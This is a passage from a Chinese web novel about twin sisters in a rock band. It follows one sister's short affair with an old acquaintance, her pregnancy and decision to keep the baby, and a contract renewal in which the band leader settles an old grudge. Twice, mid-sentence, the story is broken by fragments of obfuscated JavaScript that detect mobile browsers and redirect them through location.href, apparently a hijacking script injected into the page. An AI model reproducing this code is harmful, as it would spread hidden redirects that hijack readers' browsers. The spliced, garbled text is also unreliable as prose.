姜珏有些意外:“你专门在这儿等我们?” “刚才你们的演出太精彩太震撼了,实在是很想跟你们当面表个白。”陶渡诚恳道,“我刚才给你发了信息的。” 姜珏道:“哦,没看手机。” 谢焰问她:“你朋友?” 这时姜玺已经认出了陶渡,对他道:“你是那个——老郭原先那支乐队的成员吧?” “对。”陶渡没想到她还记得自己,“当初我们一起参加《校园新声》的。” 姜玺惊讶道:“你们俩还有联系呢?” 姜珏说:“前阵子遇上的,在希声姐那里。” “上个月19号,在大音酒吧。那天我刚好看到姜珏在台上唱歌,当时怕认错了,犹豫了好久才敢上去搭话。”陶渡笑道,“后来我在网上一搜,看到你们准备开十周年专场,立马就把票买了,可惜已经买不到好座位了。” “也是真巧,都那么多年没见了。”姜玺邀请道,“我们等会儿要去庆功宴,要不你也一起来吧?” “好啊。”陶渡一口答应。 庆功宴很朴素,就找了个大排档吃夜宵。乐队四名成员加上经纪人小杜,再加一个临时挤进来的陶渡,六个人刚好坐满一桌。 坐下开始点菜时,姜玺问陶渡:“我记得你们乐队的主唱是个女孩子,那你是弹吉他还是贝斯的?” 陶渡道:“当时我负责贝斯。” 姜玺便笑道:“那巧了,我也是。” 有当年一起参加比赛的陶渡在,几个人少不了要追忆一下青春岁月。谢焰大概也是因为想起了孔潇,情绪变得不太好,吃饱肚子就先告辞了。姜珏吃到一半还给远在老家的郭源远打了个视频,他和陶渡两个旧友相见,想过去看今朝,说着说着差点把自己给整哭了。 挂断视频后,陶渡也有几分伤感,道:“当年在学校里也是真热爱这些,跟几个志同道合的朋友组了乐队,结果毕业后忙忙碌碌地去随大流,把这些都忘了。像你们这样能坚持下来,还把乐队做得这么出色,真的了不起。”他看着姜珏由衷说道:“我很佩服你们。” 姜珏转开脸去,用胳膊肘捅了捅陈辩:“辫哥,听见没,人家夸你呢。” 陈辩在埋头啃串,半晌才抬起头来:“嗯?” 姜珏又道:“瞧你留这大辫子,一看就是搞艺术的。别说人家了,我看了都佩服,平时洗头得多累。” 又过了半晌,陈辩对陶渡道:“谢谢啊。” 这天晚上散伙后,陶渡陪姜珏和姜玺等出租车,要分别时,他问她们:“那个,改天你们要是不忙的话,再一起出来聚聚?” 姜珏道:“我们挺忙的。” “没事,那不打扰了。”陶渡有些尴尬地笑笑,“你们路上注意安全,到家了说一声。” 一个月后,姜珏深夜从朋友的音乐酒吧回来,下了出租车正往医院家属院走。她看见前面有两个人很亲密地走在一起,好像还牵着手,其中一个她太熟悉了,明显是姜玺,而另一个好像也是见过的。 她立刻追赶上去,几步跑到了那两人的前面,回头一看,发现姜玺身边那人竟是陶渡。她顿时怒发冲冠,用力一把推在他胸口上,推得他往后退了几步:“你个狗皮膏药!你还要脸吗?” 陶渡站稳了看见是她,语无伦次道:“姜珏,你……挺久没见了。那什么,我和姜玺……” 姜珏简直气昏了头,上去一拳揍在他脸上,还要用背后的电吉他去砸他。姜玺连忙拦住,道:“你发什么疯?你冷静一点。” 姜珏吼道:“我看你才是发疯了!” 姜玺挡在她和陶渡之间,又道:“你不是刚买的新琴吗?两万六呢。” 姜珏这才恢复了点理智,把电吉他又拿稳了,隔着姜玺对陶渡骂道:“滚远点,别让我再看见你!” 姜玺也回头对他低声说道:“你就先走吧。” 陶渡退后几步,仓惶地看着姜珏:“对不起,真的对不起。” “滚!” 赶走了陶渡,姜珏恨恨地看了姜玺一眼,转身就往家走。姜玺跟在她身后,两个人一路都没有说话。 进了家,姜珏把琴一放,看了眼姜玉梅紧闭的卧室门,转过头来质问姐姐:“你跟他怎么回事?” 姜玺平静道:“不就那么回事,你也看到了。” “你是不是真的疯了?”姜珏不可置信道,“他是个什么好东西吗?” 姜玺轻描淡写地笑了笑:“我喜欢不就行了。你连这都要管我,你是教导主任啊?” 姜珏恼火道:“少扯那些有的没的,你赶紧跟他断了。” 姜玺两手抱在胸前:“凭什么?” 姜珏逼视着她:“你心里不清楚吗?” 姜玺面无表情地迎着她的目光,片刻后起身回了自己房间:“你少管我。” 她关上了门。 姜珏抡起一个沙发垫狠狠摔在了地上。 又过半个月,这天下午乐队四个人聚在孔潇他表哥的琴行里排练,傍晚时大家也有点饿了,就一起点了外卖。外卖是姜玺统一点的,等送到了她和谢焰一起出去拿。两个人一边拎袋子着一边聊着天回来,姜珏听见谢焰说:“那哥们儿这么听话啊,就老实在那儿等你一下午。” 姜玺说:“那他非要跟着来,也不能让他进来影响大家排练吧。” 姜珏立刻追问:“谁?” 谢焰笑道:“还有谁,姜玺的事你还能不知道吗?”他把袋子放到茶几上,翻出了一个打包盒:“这家的咖喱鱼蛋是我吃过最好吃,都来尝尝看。” 姜珏看向姜玺,语气不善地问:“他在外面?” 姜玺把袋子里那堆食物饮料一一拿出来,无所谓道:“又没让他进来,别小题大做行吗?” 姜珏发火道:“之前我不是叫你——” 姜玺打断她:“我又没答应。” “你!”姜珏气急,转身去拔掉电吉他的接线,收拾了东西就要走。 谢焰在她身后道:“哎,你不接着排练啦?” “没心情!” 谢焰莫名其妙道:“什么人啊,一天天的跟吃了炮仗似的。” 陈辩满意地点点头:“鱼蛋好吃。” 姜珏走出琴行,朝四周张望了一下,没看见陶渡的影子,也不知道他正躲在哪个角落里。还算那个混账识相,知道自己讨嫌,不敢来她面前寻晦气。 刚好肚子也饿了,她钻进附近一家面馆解决了晚饭,背着琴回家了。 直到夜里将近十二点,姜珏还是没见姜玺回来。她有些坐不住了,给她发了几条信息,没得到回复,又沉不住气打了电话过去。 电话刚一接通她就没好气道:“你在哪儿呢?什么时候回来?” 姜玺道:“还在外边玩呢,别催。” “跟那个男的在一起吗?你赶紧回来!” “不是说了让你少管我吗?”姜玺耐着性子道,“我都多大的人了,周末在外边玩晚一点都不行了?你以前也不是没有三更半夜才回来的,我管过你吗?” “你明知道这个不一样!”姜玺激动道,“你今晚不会要跟他在外边过夜吧?快点给我回来!” 姜玺道:“我已经是个大人了,你能不能稍微尊重一下我?” 姜珏根本不听,放出狠话道:“姜玺,有他没我!” 姜玺似乎叹了口气,道:“你也该有点大人的样子了。” 然后电话就被挂断了,姜珏简直已经失去理智,愤怒地把手机摔到床上,手边拿到什么就往地上乱扔乱砸。没一会儿她摸到手机又给姜玺打去电话,却发现那边已经关机了。 姜玺竟然选择了那个男人,姜玺宁可不要她也要选择那个男人吗? 姜珏发疯般地反复拨打那个不可能接通的号码,在关机的提示语音中几近崩溃。她猛地一下把床头柜子掀倒,东西摔落了一地。 姜玉梅听见动静过来敲她房间的门:“大半夜的你发什么神经啊?还让不让人睡觉了。” 姜珏把门打开,一言不发地走出房间。姜玉梅问她:“到底怎么了,谁又惹你了?”见姜玺的房间里还是没人,又问了一嘴:“你姐去哪儿了,怎么这个点还没回来?” “她不会回来了!”姜珏打开家门,也离开了家。 这个点了,姜玺在哪里?自己又还能去哪里? 姜珏在夜色中茫然地向前走,走到家属院外边时叫了个车,直奔朋友开的酒吧。 “什么酒好喝?我要喝酒!”姜珏一坐下就对老板说道。 酒吧老板蒋希声听了惊奇道:“不是吧老妹儿,你不都滴酒不沾的吗?今天受什么刺激了?” “别问,一起喝!” 姜珏也分不清蒋希声拿上来的是些什么酒,反正黑的红的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323642|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌了几杯,人就差不多倒了。她拿了一杯还要再灌,蒋希声连忙把她杯子夺走了:“行了行了,见好就收吧。你就这么点酒量,万一喝出个好歹来还得连累我。” 姜珏已经不清醒了,醉醺醺道:“那你喝!嗝,干了这杯,你、你就是我姐。” 蒋希声道:“我哪儿敢当啊,你是我姐,你是我姐行了吧。” 直到凌晨时分,酒吧也要打烊了。蒋希声看着醉倒的姜珏犯愁,于是掏出手机给姜玺打了个电话:“你妹在我这儿喝醉了,你看现在方便过来接她一下吗?要是不行的话,我这门店后面还有个小房间,我让她在这儿睡一夜?等明天酒醒了再让她自己回去。” 姜玺立刻就说:“我现在过来。” 半个小时后,姜玺赶到了酒吧,店里顾客和员工都走光了,卷闸门也拉下了一半。她探身进入店里,见妹妹瘫在沙发上睡得正沉。蒋希声看见她来,朝她点了点头:“你来了。” 姜玺看见妹妹这副样子,也有些抱歉:“真是给你添麻烦了。” “没什么,估计她也是遇上什么难事了,谁还没个伤心的时候呢。”蒋希声道,“她这酒品算是好的了。” 姜玺过去摇醒了姜珏:“醒醒,回家了。” 姜珏迷迷糊糊地睁开眼睛,见姐姐正要把自己扶起来,立刻挣扎着要推开她。姜玺按住她的胳膊,道:“起来,别赖在这儿耽误人家关门。” 姜珏喝醉了变得更加胡闹,有气无力地骂道:“你去死。” 蒋希声看出点端倪了,在旁边笑道:“原来是姐妹俩吵架了啊?” 姜玺无奈道:“让你看笑话了。”又问:“能帮我一下吗?一起把她扶起来。” 两个人把烂醉如泥的姜珏架起来,塞进了等在外面的出租车。蒋希声送佛送到西,跟姜玺一起上了车,二人合力把姜珏扛回了家里。 分别时姜玺感激道:“今晚太谢谢你了。” 蒋希声笑说:“别客气,平时她也帮了我不少。” 姜玺没有惊动姜玉梅,帮妹妹脱掉外衣丢到床上,又拧了热毛巾给她擦脸。这时姜珏半醒不醒的,突然抓住姐姐的胳膊:“你不是不要我了吗?” 姜玺抬眼看了她一下:“我没你这么幼稚。” “你跟他分开好不好?”姜珏的语气里几乎带了哀求。 见姐姐不回应,她挣扎着要坐起来,激动道:“你明知道他——”那话已经到了嘴边,却还是没有说下去。 “他什么?”姜玺逼视着她。 姜珏没有再开口,她实在醉得厉害了,又瘫倒在床上,很快就睡着了。 姜玺坐在床沿,低头看着妹妹那张跟自己相似的脸,即使是睡着了也带着不甘和倔强。 是啊,她明知道陶渡喜欢的是姜珏。 是谁说亲姐妹就一定亲密和睦呢?其实在很多时候,一母同胞的手足就是自己的第一个竞争者。 年纪还小时,因为妈妈忙于工作,姐妹俩早早就得自理生活。姜珏淘气、不乖,姜玺除了顾好自己,还总得看着她。 跟妹妹不一样,她从小就是个让人放心的孩子,生活自律,成绩也好,更不会成天在外面惹事。妈妈经常夸她,也理所当然地把一些身为母亲的责任转移给了她。 这是她第一次感受到不公平。乖孩子就该负担更多吗?明明她也只比姜珏大了十五分钟。 在少年宫里,姐妹俩选学了不少课程,其实她最喜欢书法,能把毛笔字写得很漂亮。但姜珏说想转去学吉他,要拉她一起,于是她就也去了。毕竟她得看着妹妹,万一她又惹事了怎么办? 两个人从53231323开始学起,姜玺发现自己终于来到了一个不如妹妹的领域。姜珏学得很快,没练多久就能听着歌曲配上和弦。姜玺也不甘落后,大不了多付出一点时间和努力,这些对她来说也不算难。 后来姜珏接触了摇滚乐,开始谋划组建乐队的伟大梦想。姜玺也跟着她听了那些歌,觉得还不错,至于组乐队?谁知道这个天马行空的妹妹是不是一时兴起。 高中时代,姜珏又对电吉他产生了兴趣。以往她放假连床都起不来,但为了买琴居然去打起了暑假工。姜玺开始有些佩服她的热情了,又对她的改变感到好奇,同时也生出了点胜负欲,于是和妹妹一起打工、买琴。 高考前,因为有她给姜珏天天补习,姜珏自己也知道要发奋,又碰上了点运气,两个人顺利考进同一所大学。拿到录取通知书时,姜珏开心地抱着她转圈:“终于不用跟你分开了!” 她一直都知道,比起妈妈,这些年来姜珏其实更依赖她。 进了大学,组乐队的事就被姜珏提上了日程。那时候学校里弹贝斯的非常少,她们找不到合适的人选。姜珏就问她能不能转攻贝斯,毕竟乐队里有了键盘,就不必要有两把吉他了。 她其实无所谓,想着既然组乐队是妹妹的梦想,那就依了她吧。反正自己有吉他的基础,要转贝斯也很容易上手。 这些年来,作为乖孩子的额外负担渐渐成为了她的本能,让她习惯性地去迁就和满足这个妹妹。 然后她发现,她来到了一个更加不如妹妹的领域。 姜珏拥有充满感染力的唱腔、出色的舞台表现力,更珍贵的是那非凡的创作才华。她自负张扬且充满野心的模样,常常让她感到骄傲,但有时又觉得那么刺眼。 而她只能作为和声来陪衬她,还是一个没有存在感的贝斯手。 大多数的人其实分不清电吉他和贝斯的区别,贝斯音色低沉,不容易听清,常常只作为根音存在,圈内也因此产生了不少关于贝斯的玩笑,比如——弹贝斯的没来也无所谓,反正也不会有人发现啦。 她知道自己在玩乐队上并没有什么耀眼的才能,于是便在本职工作上加倍努力,做一个两不耽误的优秀斜杠青年。在姜珏被妈妈斥责不务正业时,或者是兜转于梦想和现实间感到迷茫时,不可否认,她会产生一些隐秘的优越感,因为她觉得自己赢了一次。 与此同时,她又真心地支持妹妹,并愿意助力她去实现那个梦想,因为她把自己的叛逆也投射在了她身上。 妈妈说她们俩就是一伙儿的,事实也确实如此。从童年时代至今,姜珏的叛经离道大多数都有她在背后加持。姜珏搞事她拱火,姜珏犯事她掩护,姜珏明着来,她是阴着坏。一些她想做或不敢做、不能做的事,都让妹妹顶在前面替她做了,等事成之后再出来说几句好话,不痛不痒地打个圆场。 对于这些,姜珏也许不知道,也许是假装不知道。 然而她发现,一向不乖的姜珏反而更容易得到宽容,当妈妈习惯了她充满棱角的模样,便会对她偶尔的懂事大加赞扬。大家好像都更喜欢这个聪明又特立独行的妹妹,陶渡也是。 还记得十年前他们第一次在电视台相遇,那时她就对这个热心俊朗的男生留下了很好的印象,而在当时,陶渡跟她打过招呼后,很快就去向姜珏搭讪了吧? 十年之后,陶渡成为一个早已放弃了年少梦想的上班族,当他看到那个仍然留在舞台上耀眼夺目的姜珏,自然更会被她吸引。 姜珏对他没有兴趣,但她有,并且长了一张跟姜珏相似的脸。 她知道陶渡跟她在一起时真正想着的是谁,这一次她又输了。 她不想迁怒妹妹,但很难做到。然而当看到妹妹为了陶渡而大发雷霆,蛮不讲理地跟她胡闹,甚至吼出那句有他没我,还破例去喝了个酩酊大醉,她虽然无奈,但也卑劣地感到了快乐。 聪明的、自负的、耀眼夺目的姜珏,原来是这么在乎她,依赖她。她是姜珏最致命的软肋,也是她疯狂和崩溃的理由。 她想,自己赢了吧?最重要的一次。 她看着妹妹沉睡的脸,露出了得逞的,微微的笑意。 她们天生一对,自那胚胎在母亲的身体里初形成时,就是彼此的唯一,没有任何人能够插足。 凌晨三点十六分,她给陶渡发去信息:分手吧。 20.好风吹进生活里(乐队视角) 明日回信今年的二轮巡演要开始了。 因为今年恰逢乐队成立十周年,大家都想把巡演规模做大些,在做计划时列入了更多城市。巡演分两轮,上半年八站,下半年八站,年中还开了个千人专场。 第二轮巡演的歌曲编排大部分跟第一轮相同,不过为表诚意,大家还是做了一些新的改编,最近就在为二轮巡演做准备。 这天排练时,谢焰发现姜珏的状态反常,全程冷着个脸,一句多余的话也不说,像是在跟谁怄气,搞得队内的气压都变低了。排了半天,谢焰也有点不爽了,对她道:“你态度能不能端正点,摆个脸给谁看呢?” 姜珏反问:“我态度怎么不端正了,我是弹错了还是唱错了?” “你看看你那个脸色,跟谁欠了你钱似的。” “你管我什么脸色,我就问你,我是弹错了还是唱错了?” 眼看这两个人又要吵起来,姜玺出来打圆场:“行了,排了一下午也有点累了。你们俩都少说两句,大家休息会儿吧。” 姜玺点了外卖,等大家开始吃吃喝喝时,姜珏就一个人背对着大家坐在地上玩手机。谢焰看见她这副幼稚赌气的模样,感觉又好笑又无语,问姜玺:“她真的只比你小十五分钟吗?我怀疑她的心智只有小学生水平。” 姜珏听见了,挪动屁股离大家更远了一点。 姜玺叫她:“过来吃点东西吧,给你点了柠檬椰子水。” 陈辩翻了翻那堆吃食:“没点咖喱鱼蛋吗?” 谢焰说:“今天换了别的,老点同样的也腻。” 姜玺又叫了一声:“姜珏,过来吃东西。”见姜珏还是不搭不理,她抬高了声音道:“你听见了能不能应个声,你是死了吗?” 姜珏吼道:“死了!” 姜玺和谢焰都没忍住噗嗤一笑。姜珏听见他们的笑声,心里更加恼火。这时谢焰随口问了姜玺一句:“那哥们儿今天没来等你?” 姜玺道:“已经分开了。” 谢焰惊讶道:“这么快?” “嗯,不太合得来。” 这时姜珏耳朵一动,从地板上站起来了,走过来假装在桌面上东翻西找:“我椰子水呢?” 姜玺把那杯柠檬椰子水递给她,姜珏接过来喝了一口,突然就开始笑。 谢焰看得十分莫名其妙。一旁的陈辩说:“下回再点鱼蛋吧。” 入秋时,明日回信的二轮巡演正式开始。大家也搭档很久了,配合得十分默契,巡演一路都挺顺利。不过姜珏发现姐姐这回的状态好像略有不佳,精力不是很充足,比以前更容易疲惫困倦。 不过认真说起来,姜玺的本职工作本来就不轻松,周末还要赶到外地进行一到两场演出,放到谁身上压力都不小。而且现在天气开始转凉了,都说春困秋乏冬不醒,人变得疲乏一些也不奇怪。 直到那天姜珏才意识到了不对劲。 那天中午他们一行来到巡演城市,下午就得去表演场馆试演,还要跟调音师对接,行程安排得紧,午饭只能抓紧时间解决。 中午出了高铁站,大家就在附近找了个饭馆,吃的是酸菜鱼。姜玺刚吞进一块鱼肉就立刻吐了出来,接着又连续干呕几下,胃里已经饿空了,只吐出了几股酸水。 姜珏连忙给她拍了拍后背,又倒了杯水让她漱口,说:“怎么突然就吐起来了,是这鱼不新鲜吗?” 谢焰关切道:“是不是肠胃炎了?要不下午你去医院挂个水吧。” 陈辩已经吃了好几口,边嚼边说:“鱼挺好。” 姜玺缓过了劲来,道:“我没什么,刚才那下子就是觉得这鱼太腥了。” 姜珏凑近那盆酸菜鱼闻了闻,说:“不是一股酸菜味吗?” 谢焰道:“另外再加两个菜吧,这鱼你吃不惯就别吃了。” 吃过午饭,大家先到酒店办理入住。到了酒店,姐妹俩住一间房,姜珏一进到房间里就问姜玺:“你到底是怎么回事?” 姜玺放下琴包:“什么怎么回事?” “你最近实在不对劲,你不会以为我看不出来吧?” “我哪儿不对劲了?”姜玺打了个呵欠,“两点出发是吧?那我抓紧时间眯一会儿。” “你以前有这么嗜睡吗?” 姜玺麻利地脱掉外衣躺上床去,闭上眼睛:“跟以前能比吗?又不是二十出头的年纪了。” 姜珏站到她床边,道:“你回去以后赶紧去医院做个体检。” 姜玺随意地嗯了一声。 姜珏看她好像睡着了,拿出手机搜了一圈,越想越不对劲。看着时间差不多了,她摇醒了姜玺,问她:“喂,你跟那男的是什么时候分开的?” 姜玺打了个呵欠,摸到床头的手机看了眼时间:“问这个干嘛?” “你管我要干嘛,你们到底什么时候分开的?” “差不多上个月初吧。” “那上个月和这个月你正常来月经了吗?” 姜玺目光锐利地看向她:“你到底想问什么?” “你先回答我。”姜珏站在床边俯视着她。 姜玺推开了她,从床上起来,拎起沙发上的外衣往身上套。 姜珏见她闭口不答,正像是坐实了自己的那个猜测。她不可置信道:“姜玺,你不会真怀孩子了吧?” 姜玺穿好了衣服,终于嗯了一声。 姜珏过去一把抓住她的胳膊:“回去以后你马上去把它拿掉!” 姜玺挣开她,道:“你知不知道这事伤身体,我要是一回去就把它拿掉,过后还能有精力一边上班一边跑巡演?” 姜珏一怔,低头沉默半晌,突然抬起头来说:“我去跟公司商量一下,后面几站演出就先取消吧。” “取消?”姜玺不能接受,“票都卖了,这时候说取消就取消?这可是十周年的巡演!” “那不然呢?”姜珏比她更不愿意取消演出,但她更担心她的身体,“现在还剩下六场,全部结束也要一个多月以后了,你能撑得住吗?” 姜玺看着她的眼睛,冷静而坚决地说道:“我能。” 姜珏愣住,一时间哑口无言。 她差点忘了,当初姜玺为了完成巡演,甚至愿意辞掉工作。她低估了姜玺对乐队的重视和热情。 “那,那就先这样吧。”姜珏也只得妥协,“中途你要是感觉不好了就说,别自己硬撑着。” 晚上的演出照常进行,姐妹俩暂时不打算把这事告诉谢焰和陈辩。 姜珏因为心里一直记挂着这事,在台上都有些分心了,总忍不住去留意站在右边的姜玺,要么用余光去瞟她,要么直接转头去看。直到被姜玺瞪了一眼回来,示意她专心弹唱。 好不容易完成了整场演出,结束后来一场丰盛夜宵是乐队的惯例。但今晚姜珏主动提出取消:“要不今天就算了吧,实在饿的话回酒店点个外卖得了。也累一天了,大家早点休息。” 谢焰奇怪道:“攒局吃夜宵哪回不是你最积极,今天倒是嫌累要休息了?这太阳也是打西边出来了。” 姜珏说:“我也得养生啊,又不是二十出头的年纪了。” 姜玺其实也感觉疲惫了,并不想要熬夜再去吃什么夜宵——多半还都是些不健康的路边摊,于是便也赞同姜珏的提议,尽早回到酒店。 只有陈辩在回到酒店门口时,默默又拐去旁边的便利店买了两瓶啤酒。 到冬天时,余下的六场演出也顺利完成了,明日回信二轮巡演完满收官。姜玺的孕反没有想象中严重,但在怀孕的情况下兼顾工作和巡演,也已经接近身心极限。彼时她怀孕快满十六周,肚子能够看出微微的隆起,不过秋冬衣装厚实,也不会被发现。 然而此时又面临另一个问题,因为她怀孕超过十四周,根据现有规定,已经不能进行非医学需要的终止妊娠了。 如果去不那么正规的私人诊所,虽然可以做人工流产,但风险也更大。姜珏觉得不太安全,便建议姜玺:“要不去跟妈说吧,她在医院干了几十年了,肯定有门路。” 姜玺只说:“我再想想。” “还要再想什么?”姜珏不能理解,“再拖下去只会更难,你身体也会更吃不消的。” 见姜玺没吭声,她突然反应过来,不可置信地问道:“喂,你该不会从一开始就没打算把这个孩子拿掉吧?” 姜玺还是沉默,然后终于开口道:“有个孩子不也很好吗?” “好在哪儿?”姜珏觉得她真是疯了,“你没事吧,还真打算把它生下来?” “如果能有个女儿,长得就像我们俩,从小教她弹琴,教她爬树,让她听我们的歌,一天天看着她长大,将来变成像我们一样,或者比我们更厉害的大人,这样不好吗?” “这些好处只是你的想象,但生养孩子的辛苦可是实打实不能避免的!”姜珏极力要劝阻她,“多个孩子会增加多少麻烦和负担,你考虑过吗?你有了孩子还能像原来那样专心工作和做乐队吗?” 姜玺笑道:“说到底,你还是担心会影响到乐队吧?” “我是担心会影响你啊!”姜珏大声道,“你又不是没见过那些生了孩子的同学同事,她们还能像原来那样自由吗?你现在本来也不轻松了,再拖着个小的,将来真能应付得过来?反正我可不会帮你带孩子!” 姜玺说:“本来也没指望你。” 姜珏气急:“你——” 姜玺知道妹妹也是一心为自己考虑,便不跟她斗嘴了,道:“我再去问问妈的意见吧,看看她是怎么个主意。” 如果姜玺生下这个孩子,必然要依靠退休的姜玉梅帮忙照护婴儿,因此母亲的意见其实比妹妹的还要重要。 晚饭时,姜玺在饭桌上跟姜玉梅说了这事。姜玉梅因为太过震惊,一句话都说不出来,饭也吃不下了。这个大女儿从小就稳重懂事,一向最让人放心,到头来竟比谁都叛经离道,打算不婚生下一个孩子。 姜玉梅考虑半天,问:“那我们辛辛苦苦把孩子养大了,万一将来那男的要把孩子抢走怎么办?” 姜珏大惊:“你真打算养啊?” 姜玺说:“早没联系了,不会让他知道的。就算他知道了,也没办法证明孩子跟他有关系。” 姜珏握住老妈的手,劝道:“妈,你可要慎重啊。我得工作,姜玺也得工作,要是真留下这个孩子,你现在这潇洒的退休生活可就再也过不上了。” 姜玉梅又考虑半天,终于下了决心,对姜玺道:“你要是实在想留这个孩子,那就生下来吧。当初我一个人也把你们俩养大了,现在我们三个人,还养不了一个孩子吗?” 有了母亲的支持,姜玺终于可以放心留下孩子,姜珏也只能喜当姨。 虽然姜珏之前一直持反对意见,但既然姐姐真做了这个决定,她自然也不可能袖手旁观,将来的许多事情都得考虑到。等到姜玺怀孕月份大了,出门肯定不能再挤地铁,以后还要带孩子出行,看来必须得买辆车。是不是还得换个大点的房子?现在的房价可不便宜。据说养孩子是个相当费钱的事,不多赚点可不行。 姜珏想着想着都觉得头大,万万没料到如今自己也得面对这些庸俗的烦恼。 但无论如何,她当然还是会尽力支持姐姐,就像姐姐一直支持她那样。 为了多赚钱,她现在除了做制作人,还接点广告编曲之类的活儿,也跟公司要求了多安排点商演,但现在又有一个问题——姜玺在很长一段时间里将无法参与乐队演出,这个空缺该由谁顶上呢? 姜珏自有人选。 她一早就把主意打到了友人身上——大音酒吧的老板蒋希声,资深贝斯手,先后待过好几支乐队。两人交情不错,姜珏又经常在她开的酒吧里帮衬唱歌,而她目前所在的黑释迦乐队正处于半死不活状态,一年到头也得不到什么正经的演出机会。要是拉她进明日回信当个临时贝斯手,想必她不会拒绝。 果不其然,姜珏把这事跟蒋希声一说,她立马就答应了,兴致勃勃地要过来参与排练。她也是个老手了,要熟练配合他们自然不在话下,就照着明日回信最常演出的歌单排一个下午,基本就能胜任贝斯手的位置了,跑个商演、上个音乐节什么的不是问题。 次年初,明日回信带着新贝斯手开始活动,而这时乐队与野草音乐的五年合约即将期满,经纪人小杜来跟他们谈续约的事。大家对这五年来跟公司的合作还算满意,一致同意续约。因为其他成员近期也有别的行程,便授权作为队长的姜珏去把续约合同签了。 这天姜珏去到公司,跟小杜来到法务部准备签合同,正好听到里面的同事在谈论新经理的事。她不由也好奇地插了一嘴:“之前也听说要来个新经理,怎么,人已经上任了?” “对,付经理这周一刚来的。看着人还行,挺好说话的。” 姜珏奇怪道:“副的?我听说是正的啊。” “不是,经理就姓付,叫付辽。” “付什么?”姜珏一听这名字,立刻想起了当年的一位故人,当即把笔给撩了,“合同我就先不签了,叫他过来。” 故人重逢,付辽此刻感觉分外尴尬。 “付经理,好久不见啊。”姜珏笑嘻嘻地看着这位久违的秃子,“扭屁股都扭到这儿来了?” 付辽窘迫地笑笑,锃亮的脑门简直快要冒汗:“瞧你这话说的,我都多大年纪了,就别开我的玩笑了。” 他当然还记得自己当初如何贬低刁难过姜珏,没想到风水轮流转,如今明日回信已成为野草音乐的三大台柱子之一,还刚好来到了要续约的档口。 印象里姜珏是个挺难缠的人,现在看来还是个记仇的。自己这刚刚走马上任,要是因为私人恩怨导致明日回信不愿续约,公司失去一个赚钱台柱、一个得力的音乐制作人,他也是不好向老板交代了。 姜珏笑道:“你说这缘分也真是玄,兜兜转转的,我们这三流乐队又归到你的手下了。” 付辽连忙道:“哪儿的话,你们要是算三流,这世界上就没有一流了。当初也是我有眼无珠,放着你们这么有潜力的乐队也没好好发展。幸好还算有缘分,现在又有机会跟你们合作了。”又客客气气道:“刚好今天你也过来了,要不咱们就顺手把续约合同签了吧,也省得下回再跑一躺。” 姜珏双手抱胸,笑而不语。 付辽擦了擦汗,道:“虽然咱俩之前确实闹过一些不愉快,但毕竟都是私事。你既然能把乐队做得这么好,我看肯定也是个公私分明的人。” 姜珏道:“我可不是。” 付辽心里暗道不妙,这人看着是比当年更加难缠了。 这时姜珏的手机响了,她掏出来一看,道:“嚯,竟然这么快。” 接完电话,她对付辽说:“付经理,我刚才专门给你点了个外卖。你在这儿等会儿,我去给你拿上来。” 付辽一头雾水地目送她下楼去拿外卖,心头涌上一股不祥的预感。 不多久,姜珏拎着个袋子回来了,笑容满面地把它递给付辽:“一点心意,我估计你会喜欢。” 付辽接过来打开一看,见里面竟是一瓶白酒——酒精度55%,五百毫升。 “你把它干了,再跟我道个歉,我今天就把这续约合同签了。” 付辽简直哭笑不得,这人怎么能记仇成这样,当年她被迫向自己敬酒道歉,如今就非要用一模一样的方式让自己加倍奉还。 他道:“当初你就喝了一杯,今天我得喝完一瓶吗?” “当然了,这都过去六年了,物价都涨了多少?让你一瓶抵一杯已经算我慷慨了。不过你要是实在喝不完——”姜珏大发慈悲地笑道,“那就扭个屁股给大家看看吧。” 小杜和法务部的同事们都憋了半天,这时候终于纷纷破功偷笑了。 比起吹瓶,付辽显然更不愿意刚一上任就沦为全司笑柄。他打开那瓶白酒,心一横,仰起头就开始往下灌,表情痛苦地灌了半天,数次停下来缓口气,好不容易把整瓶酒都喝完了。 “当年的事,嗝儿,对不起了。” “行,原谅你了。”姜珏大仇得报,神清气爽,大笔一挥把续约合同签了。 随着开春,天气逐渐暖和起来,姜玺也进入了孕晚期。有时姜珏会贴着她的肚子感受胎动,她感觉这真是神奇,里面竟有一个生命等待降临。 不知道姜玺准备好了没有,一想到家里即将有个孩子,姜珏仍然觉得这很不真实。虽然今年都三十岁了,但她一直过得浪荡不羁,从未把生育这类属于“大人”的事情纳入计划,也理所当然地以为姐姐跟自己是同样的步调。可是一转眼,姜玺马上就要成为母亲了。 为人母的姜玺会是什么样子,她们俩又将变成什么样子,还会是彼此最亲近的人吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330257|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜玺一直工作到了预产期前一周,五月初,她顺产生下一个女儿,取名姜璧朗,因为出生那天刚好是立夏,小名就叫夏夏。 对于这个刚刚出生的侄女,姜珏心情很是复杂。她还记得那天自己焦虑地等在产房外面,听见里面的姜玺发出痛苦的哭喊声。那一刻她真恨透了这个寄生在姐姐身体里的小东西,因为她的降生让她最爱的人受尽折磨。 当初她一心要劝姜玺拿掉孩子,其实还有一个未曾说出口过的理由——她不愿意任何人插足她们姐妹之间。 今后夏夏会取代自己成为姜玺心中最重要的人吗?姐妹俩还会像原先那样亲密无间吗? 然而她爱姜玺,本能地就会去爱这个与她血脉相连的孩子。更何况,夏夏本身也与她流着同样的血。 